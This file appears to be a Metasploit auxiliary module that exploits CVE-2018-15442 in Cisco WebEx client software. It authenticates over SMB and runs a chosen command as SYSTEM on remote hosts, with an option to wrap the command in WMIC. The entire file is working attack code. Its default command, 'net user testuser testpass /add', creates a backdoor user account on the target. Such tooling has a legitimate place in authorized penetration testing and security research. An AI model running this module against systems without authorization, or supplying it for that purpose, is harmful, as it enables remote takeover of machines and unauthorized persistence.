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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::Remote::SMB::Client::WebExec
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  include Msf::Auxiliary::Report
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  include Msf::Auxiliary::Scanner
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  # Aliases for common classes
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  SIMPLE = Rex::Proto::SMB::SimpleClient
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  XCEPT = Rex::Proto::SMB::Exceptions
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  CONST = Rex::Proto::SMB::Constants
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'WebEx Remote Command Execution Utility',
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        'Description' => %q{
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          This module enables the execution of a single command as System by exploiting a remote
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          code execution vulnerability in Cisco's WebEx client software.
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        },
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        'Author' => [
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          'Ron Bowes <[email protected]>',
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        ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          ['URL', 'https://webexec.org'],
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          ['CVE', '2018-15442']
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        ],
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'SideEffects' => [IOC_IN_LOGS],
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          'Reliability' => []
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        }
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      )
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    )
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    register_options([
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      OptString.new('COMMAND', [true, 'The command you want to execute on the remote host', 'net user testuser testpass /add']),
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      OptPort.new('RPORT', [true, 'The Target port', 445]),
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      OptBool.new('FORCE_GUI', [true, 'Ensure a GUI is created via wmic', false]),
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    ])
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  end
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  # This is the main control method
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  def run_host(ip)
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    @smbshare = datastore['SMBSHARE']
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    @ip = ip
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    # Try and authenticate with given credentials
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    if connect
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      begin
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        smb_login
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      rescue Rex::Proto::SMB::Exceptions::Error => e
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        print_error("Unable to authenticate with given credentials: #{e}")
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        return
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      end
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      command = datastore['COMMAND']
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      if datastore['FORCE_GUI']
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        command = "WMIC PROCESS CALL Create \"#{command}\""
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      end
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      wexec(true) do |opts|
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        execute_single_command(command, opts)
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      end
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      print_good('Command completed!')
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      disconnect
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    end
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  end
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end
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